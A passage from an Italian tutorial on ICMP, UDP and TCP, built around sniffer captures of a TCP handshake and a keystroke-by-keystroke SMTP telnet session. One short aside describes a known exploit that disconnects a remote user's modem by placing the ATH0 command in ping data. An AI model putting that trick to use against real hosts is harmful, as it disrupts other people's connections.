sezione contiene pero' ulteriori informazioni, ovvero il "ping" vero e proprio, ovvero un messaggio ICMP (Interne Control Message Protocol). La sezione dati del pacchetto ICMP ha dimensione 32 (32 byte): questo lo si deduce dal campo "Length". Il "ChkSum" e' un codice di controllo sull'integrita' del pachetto, elaborato tramite un particolare algoritmo. Il campo "Code" specifica il tipo di messaggio ICMP: Echo Message, ovvero ICMP Type 8. Infine rimane il campo dati: 00000000: 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 abcdefghijklmnop 00000010: 71 72 73 74 75 76 77 61 62 63 64 65 66 67 68 69 qrstuvwabcdefghi Qui le informazionii sono codificate in esadecimale; a destra si puo' leggere la versione ascii di questi codici (abcdefghijklmnop). Il campo dati di ICMP_ECHO viene riempito in modo arbitrario dal programma utilizzato, e le dimensioni del pacchetto possono essere scelte dall'utente (vedere il comando ping). NOTA: e' celebre un exploit che permette di far riagganciare il modem di un utente da remoto, conoscendo il suo indirizzo ip. Questo exploit non fa altro che riempire il campo dati del paccheto ICMP_ECHO con i comandi AT del modem (coamando ATH0 in questo caso). Quando la macchina a cui abbiamo inviato il "ping" riceve la richiesta (se e' online e se non si trova dietro a un firewall che blocca i pacchetti ICMP_ECHO) risponde con il messaggio "Echo Replay": Source IP: 192.168.0.1 Target IP: 192.168.0.2 ICMP Length: 32 ChkSum: 535C Code: Echo Reply 00000000: 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 abcdefghijklmnop 00000010: 71 72 73 74 75 76 77 61 62 63 64 65 66 67 68 69 qrstuvwabcdefghi Vediamo che il pacchetto e' simile a quello da noi inviato, semplicemente sono invertiti gli indirizzi sorgente e destinazione e il tipo di messaggio (ECHO_REPLY, ICMP Type 0). Chiaramente il checksum e' diverso. Il campo dati e' identico, perche' 192.168.0.1 non fa altro che rispondere restituendo i dati ricevuti. Per una descrizione dettagliata del protocollo ICMP consiglio la lettura di RFC 792. Da notare che in questo documento quello che qui viene chimato "Code" viene descritto come "Type": quest'ultima e' la denominazione corretta. UDP === Su questo protocollo (User Datagram Protocol) non mi dilungo. Si tratta di un protocollo non orientato alla connessione e non affidabile. Non orientato alla connessione significa che non viene mantenuta traccia della connessione ne dal client ne dal server; non esistono informazioni che permettano di descrivere degli "stati" della connessione (come avviene invece con tcp). Non affidabile significa che e' un protocollo "send and prey": non e' detto che cio' che viene spedito giunga a disposizione, non vengono effettuati controlli sulla ricezione dei pacchetti. Il formato di un pacchetto UDP e' abbastanza semplice: indirizzo e porta del mittemte, indirizzo e porta del destinatario, campo dati, checksum. Quando inviate un messaggio tramite ICQ a un utente online, non fate altro che mandate un pacchetto UDP. Informazioni dettagliate suu questo protocollo, le trovate su RFC 768. TCP === Il TCP (Transmission Control Protocol) e' un protocollo affidabile, orientato alla connessione. Cio' signifiaca che, a differenza di UDP, viene effetutato un controllo sullo stato della connessione e sull'eventuale perdita di pacchetti. Con "connessione" intendo dire una connessione "virtuale", nella filosofia della "commutazione di pacchetto" (packet switching). A differenza della "commutazione di linea" (tipo il telefono), una connessione virtuale non riserva delle risorse fisiche in modo esclusivo. In ogni istante, ogni nodo di Internet potrebbe essere utilizzato come "vettore" per il trasporto delle informazioni di una data connesione: in questo senso la connessione e' virtuale. Quanto appena affermato non si prenda alla lettera: in realta' il routing su Internet e' un po' piu' complicato: la mia e' una semplificazione funzionale alla spiegazione del concetto. Lo "stato" della connessione viene gestito dalle due macchine che stanno comunicando. Un pacchetto TCP e' piu' complesso di un pacchetto ICMP; oltre al campo dati, contiene campi necessari per mantenere questa connessione virtuale e per controllarla; sono inoltre presenti dei "flag" che influenzano il comportamento e il significato del pacchetto TCP. 3-WAY-HANDSHAKE =============== Quando si effettua una connessione TCP e' necessaria una negoziazione preliminare. Questa operazione si compie in 3 fasi: 3-way-handshake. Qui entrano in scena i flag, l'ISN (Initial Sequence Number), e l' "Acknowledgment Number". I flag TCP sono 6: URG,ACK,PSH,RST,SYN,FIN. URG: Utilizzato con il campo "Urgent Pointer" ACK: Acknowledgment. Insieme a SYN utilizzato durante l'handshake e durante la connessione. PSH: Provoca l'invio di dati RST: Resetta la connessione SYN: Sincronizza la connessione FIN: Non vi sono piu' dati da inviare Diamo uno sguardo a cosa succede quando mi collego a un server smtp (Simple Mail Transfer Protocol, protocllo utilizzato per inviare laposta elettronica). Premettiamo che: il client (ovvero un comunissimo telnet) si trova sulla macchina 192.168.0.2; il server, un Postfix che gira su Linux Mandrake 7.0 si trova 192.168.0.1; il nome del server e' "sentinel", il nome di dominio "oq". Avvio BS e "sniffo": apro la sessione telnet telnet 192.168.0.1 25 (25 e' la porta tcp del server smtp): Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 0 Source Port: 1070 Target Port: 25 Seq: 009E0B37 Ack: 00000000 Flags: S Window: 8192 TCP ChkSum: 33937 UrgPtr: 0 Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50A60 Ack: 009E0B38 Flags: SA Window: 32120 TCP ChkSum: 8710 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 0 Source Port: 1070 Target Port: 25 Seq: 009E0B38 Ack: DBF50A61 Flags: A Window: 8760 TCP ChkSum: 13903 UrgPtr: 0 Questi 3 pacchetti sono il 3-way-handshake. Quando il scrivo "telnet 192.168.0.2 25" succede tutto questo ! Talasciamo i campi Source IP e target IP: ormai avreste dovuto capire cosa sono. TCP Length e' la lunghezza del campo dati. In questo caso e' uguale a 0 perche' non vi e' trasmisssione di dati, ma si sta stabilendo la connessione e si sincronizza la sessione. Nel 3-way-handshake il client invia un paccheto con il flag SYN (sincronizza). Questo e' il significato della "S" nel campo Flags nel primo pacchetto. Nel secondo pacchetto vediamo che il server risponde con i flag "SA", ovvero SYN e ACK Acknowledgment). Quindi il client risponde con un ACK. A questo punto la connessione tcp e' stabilita. Puo' iniziare la trasmissione di dati. Questo lo vediamo nel quarto paccheto, dove il server invia il suo "banner" di benvenuto: Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 67 Source Port: 25 Target Port: 1070 Seq: DBF50A61 Ack: 009E0B38 Flags: PA Window: 32120 TCP ChkSum: 2681 UrgPtr: 0 00000000: 32 32 30 20 73 65 6E 74 69 6E 65 6C 2E 6F 71 20 220 sentinel.oq 00000010: 45 53 4D 54 50 20 50 6F 73 74 66 69 78 20 28 50 ESMTP Postfix (P 00000020: 6F 73 74 66 69 78 2D 31 39 39 39 31 32 33 31 29 ostfix-19991231) 00000030: 20 28 4C 69 6E 75 78 2D 4D 61 6E 64 72 61 6B 65 (Linux-Mandrake 00000040: 29 0D 0A ).. Notare ll campo Flags: "PA", ovvero sono presenti il flag ACK e PUSH. La tasmissione dei dati viene appunto provocata dalla presenza del flag PUSH. Nel campo dati vediamo la risposta del server. A questo punto il server e' in grado di accettare comandi da client, e quindi inviare l'email. Questo per spiegare la funzione dei "flags". Ma tcp ci sono altri due campi che ci interessano, e sono molto importanti... SEQ e ACK ========= ACK, oltre ad essere un flag e' anche un campo a 16 bit che unitamente al campo Seq (che sta per "numero di sequenza"), serve per controllare la connessione. Prendiamo di nuovo in cosiderazione i paccheti del 3-way-handshake visti in precedenza: Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 0 Source Port: 1070 Target Port: 25 Seq: 009E0B37 Ack: 00000000 Flags: S Window: 8192 TCP ChkSum: 33937 UrgPtr: 0 Il numero di sequenza (Seq) e' un numero random (009E0B37 in questo caso) creato dal client. Ack vale 0. A qusto punto il server risponde: Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50A60 Ack: 009E0B38 Flags: SA Window: 32120 TCP ChkSum: 8710 UrgPtr: 0 Anche il server genera un numero di sequenza. Il numero di sequenza generato all'inizio della sessione viene denominato Initial Sequence Number (ISN). Notate che il campo ACK contiene il numero di sequenza inviato dal client (009E0B37 incrementato di uno). L'handshake si conclude con il terzo pacchetto Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 0 Source Port: 1070 Target Port: 25 Seq: 009E0B38 Ack: DBF50A61 Flags: A Window: 8760 TCP ChkSum: 13903 UrgPtr: 0 il client risponde con il flag A: il numero di sequenza corrisponde all'Ack inviato dal server; il campo Ack e' il numero di sequenza inviato dal server piu' 1 (DBF50A61) La connessione e' stata stabilita, e si e' instaurata una relazione di fiducia tra le due parti. Lo scambio incrociato di Seq e Ack permette di far si che le due macchine riconoscano la connessione e accettino i dati solo con i giusti parametri di Ack e Seq. Il campo dati del protocollo tcp contiene i comandi, i parametri, le istruzioni dei protocolli del livello applicazione. Smtp, Pop3, Http, Ftp: tutti questi protocolli di livello applicativo viaggiano attraverso la Rete "incapsulati" nel campo dati dei pacchetti tcp. Per una trattazione completa del protocollo tcp, invito alla consultazione di RFC 793. SNiFFiAM0 UNA SESSi0NE SMTP =========================== Per concludere, vediamo cosa succede quando inviamo una email utilizzando telnet (che poi e' quello che succede quando usiamo Outlook, The Bat, Eudora, Pine...) I primi quattro pacchetti sono quelli gia' visti in precedenza: Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 0 Source Port: 1070 Target Port: 25 Seq: 009E0B37 Ack: 00000000 Flags: S Window: 8192 TCP ChkSum: 33937 UrgPtr: 0 Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50A60 Ack: 009E0B38 Flags: SA Window: 32120 TCP ChkSum: 8710 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 0 Source Port: 1070 Target Port: 25 Seq: 009E0B38 Ack: DBF50A61 Flags: A Window: 8760 TCP ChkSum: 13903 UrgPtr: 0 Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 67 Source Port: 25 Target Port: 1070 Seq: DBF50A61 Ack: 009E0B38 Flags: PA Window: 32120 TCP ChkSum: 2681 UrgPtr: 0 00000000: 32 32 30 20 73 65 6E 74 69 6E 65 6C 2E 6F 71 20 220 sentinel.oq 00000010: 45 53 4D 54 50 20 50 6F 73 74 66 69 78 20 28 50 ESMTP Postfix (P 00000020: 6F 73 74 66 69 78 2D 31 39 39 39 31 32 33 31 29 ostfix-19991231) 00000030: 20 28 4C 69 6E 75 78 2D 4D 61 6E 64 72 61 6B 65 (Linux-Mandrake 00000040: 29 0D 0A ).. Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 0 Source Port: 1070 Target Port: 25 Seq: 009E0B38 Ack: DBF50AA4 Flags: A Window: 8693 TCP ChkSum: 13877 UrgPtr: 0 Il server ci ha mandato il banner e il client ha risposto con un pacchetto ACK. A questo punto il server smtp si attende il comando "HELO". Dal client scrivo HELO trtms e premo invio ecco cosa succede: Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B38 Ack: DBF50AA4 Flags: PA Window: 8693 TCP ChkSum: 52745 UrgPtr: 0 00000000: 68 h Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AA4 Ack: 009E0B39 Flags: A Window: 32120 TCP ChkSum: 55553 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B39 Ack: DBF50AA4 Flags: PA Window: 8693 TCP ChkSum: 53113 UrgPtr: 0 00000000: 65 e Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AA4 Ack: 009E0B3A Flags: A Window: 32120 TCP ChkSum: 55526 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B3A Ack: DBF50AA4 Flags: PA Window: 8693 TCP ChkSum: 51294 UrgPtr: 0 00000000: 6C l Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AA4 Ack: 009E0B3B Flags: A Window: 32120 TCP ChkSum: 55510 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B3B Ack: DBF50AA4 Flags: PA Window: 8693 TCP ChkSum: 50511 UrgPtr: 0 00000000: 6F o Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AA4 Ack: 009E0B3C Flags: A Window: 32120 TCP ChkSum: 55490 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B3C Ack: DBF50AA4 Flags: PA Window: 8693 TCP ChkSum: 5177 UrgPtr: 0 00000000: 20 Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AA4 Ack: 009E0B3D Flags: A Window: 32120 TCP ChkSum: 55446 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B3D Ack: DBF50AA4 Flags: PA Window: 8693 TCP ChkSum: 49167 UrgPtr: 0 00000000: 74 t Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AA4 Ack: 009E0B3E Flags: A Window: 32120 TCP ChkSum: 55426 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B3E Ack: DBF50AA4 Flags: PA Window: 8693 TCP ChkSum: 49658 UrgPtr: 0 00000000: 72 r Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AA4 Ack: 009E0B3F Flags: A Window: 32120 TCP ChkSum: 55403 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B3F Ack: DBF50AA4 Flags: PA Window: 8693 TCP ChkSum: 49123 UrgPtr: 0 00000000: 74 t Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AA4 Ack: 009E0B40 Flags: A Window: 32120 TCP ChkSum: 55382 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B40 Ack: DBF50AA4 Flags: PA Window: 8693 TCP ChkSum: 50894 UrgPtr: 0 00000000: 6D m Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AA4 Ack: 009E0B41 Flags: A Window: 32120 TCP ChkSum: 55361 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B41 Ack: DBF50AA4 Flags: PA Window: 8693 TCP ChkSum: 49338 UrgPtr: 0 00000000: 73 s Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AA4 Ack: 009E0B42 Flags: A Window: 32120 TCP ChkSum: 55345 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 2 Source Port: 1070 Target Port: 25 Seq: 009E0B42 Ack: DBF50AA4 Flags: PA Window: 8693 TCP ChkSum: 9887 UrgPtr: 0 00000000: 0D 0A .. questa e' la sequenza di paccheti dati PUSH/ACK e ACK che si scambiano client e server; I dati dell'ultimo paccheto (0D 0A) corrispondoo alla pressione del tasto invio. Il server risponde che e' tutto ok (230 sentinel.oq) Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 17 Source Port: 25 Target Port: 1070 Seq: DBF50AA4 Ack: 009E0B44 Flags: PA Window: 32120 TCP ChkSum: 7035 UrgPtr: 0 00000000: 32 35 30 20 73 65 6E 74 69 6E 65 6C 2E 6F 71 0D 250 sentinel.oq. 00000010: 0A . Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 0 Source Port: 1070 Target Port: 25 Seq: 009E0B44 Ack: DBF50AB5 Flags: A Window: 8676 TCP ChkSum: 13212 UrgPtr: 0 scrivo il nome del mittente MAIL FROM: tritemius (invio) Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B44 Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 50813 UrgPtr: 0 00000000: 6D m Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B45 Flags: A Window: 32120 TCP ChkSum: 55026 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B45 Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 53627 UrgPtr: 0 00000000: 61 a Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B46 Flags: A Window: 32120 TCP ChkSum: 55005 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B46 Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 51559 UrgPtr: 0 00000000: 69 i Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B47 Flags: A Window: 32120 TCP ChkSum: 54993 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B47 Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 50779 UrgPtr: 0 00000000: 6C l Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B48 Flags: A Window: 32120 TCP ChkSum: 54975 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B48 Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 4680 UrgPtr: 0 00000000: 20 Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B49 Flags: A Window: 32120 TCP ChkSum: 54937 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B49 Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 52257 UrgPtr: 0 00000000: 66 f Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B4A Flags: A Window: 32120 TCP ChkSum: 54907 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B4A Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 49156 UrgPtr: 0 00000000: 72 r Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B4B Flags: A Window: 32120 TCP ChkSum: 54883 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B4B Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 49902 UrgPtr: 0 00000000: 6F o Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B4C Flags: A Window: 32120 TCP ChkSum: 54880 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B4C Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 50409 UrgPtr: 0 00000000: 6D m Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B4D Flags: A Window: 32120 TCP ChkSum: 54858 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B4D Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 63440 UrgPtr: 0 00000000: 3A : Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B4E Flags: A Window: 32120 TCP ChkSum: 54798 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B4E Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 4504 UrgPtr: 0 00000000: 20 Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B4F Flags: A Window: 32120 TCP ChkSum: 54772 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B4F Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 48500 UrgPtr: 0 00000000: 74 t Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B50 Flags: A Window: 32120 TCP ChkSum: 54637 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B50 Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 48886 UrgPtr: 0 00000000: 72 r Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B51 Flags: A Window: 32120 TCP ChkSum: 54616 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B51 Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 51171 UrgPtr: 0 00000000: 69 i Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B52 Flags: A Window: 32120 TCP ChkSum: 54606 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B52 Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 48344 UrgPtr: 0 00000000: 74 t Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B53 Flags: A Window: 32120 TCP ChkSum: 54595 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B53 Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 52172 UrgPtr: 0 00000000: 65 e Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B54 Flags: A Window: 32120 TCP ChkSum: 54574 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B54 Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 50103 UrgPtr: 0 00000000: 6D m Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B55 Flags: A Window: 32120 TCP ChkSum: 54549 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B55 Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 51103 UrgPtr: 0 00000000: 69 i Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B56 Flags: A Window: 32120 TCP ChkSum: 54533 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B56 Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 48015 UrgPtr: 0 00000000: 75 u Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B57 Flags: A Window: 32120 TCP ChkSum: 54520 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B57 Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 48513 UrgPtr: 0 00000000: 73 s Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B58 Flags: A Window: 32120 TCP ChkSum: 54504 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 2 Source Port: 1070 Target Port: 25 Seq: 009E0B58 Ack: DBF50AB5 Flags: PA Window: 8676 TCP ChkSum: 9063 UrgPtr: 0 00000000: 0D 0A .. Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B5A Flags: A Window: 32120 TCP ChkSum: 54479 UrgPtr: 0 Il server invia il messagio di Ok (250 Ok) Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 8 Source Port: 25 Target Port: 1070 Seq: DBF50AB5 Ack: 009E0B5A Flags: PA Window: 32120 TCP ChkSum: 5604 UrgPtr: 0 00000000: 32 35 30 20 4F 6B 0D 0A 250 Ok.. scrivo il nome de destinatario RCPT TO: eprom (invio) Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 0 Source Port: 1070 Target Port: 25 Seq: 009E0B5A Ack: DBF50ABD Flags: A Window: 8668 TCP ChkSum: 12368 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B5A Ack: DBF50ABD Flags: PA Window: 8668 TCP ChkSum: 48703 UrgPtr: 0 00000000: 72 r Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50ABD Ack: 009E0B5B Flags: A Window: 32120 TCP ChkSum: 54341 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B5B Ack: DBF50ABD Flags: PA Window: 8668 TCP ChkSum: 52438 UrgPtr: 0 00000000: 63 c Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50ABD Ack: 009E0B5C Flags: A Window: 32120 TCP ChkSum: 54319 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B5C Ack: DBF50ABD Flags: PA Window: 8668 TCP ChkSum: 49089 UrgPtr: 0 00000000: 70 p Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50ABD Ack: 009E0B5D Flags: A Window: 32120 TCP ChkSum: 54306 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B5D Ack: DBF50ABD Flags: PA Window: 8668 TCP ChkSum: 48051 UrgPtr: 0 00000000: 74 t Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50ABD Ack: 009E0B5E Flags: A Window: 32120 TCP ChkSum: 54286 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B5E Ack: DBF50ABD Flags: PA Window: 8668 TCP ChkSum: 3997 UrgPtr: 0 00000000: 20 Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50ABD Ack: 009E0B5F Flags: A Window: 32120 TCP ChkSum: 54223 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B5F Ack: DBF50ABD Flags: PA Window: 8668 TCP ChkSum: 47968 UrgPtr: 0 00000000: 74 t Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50ABD Ack: 009E0B60 Flags: A Window: 32120 TCP ChkSum: 54199 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B60 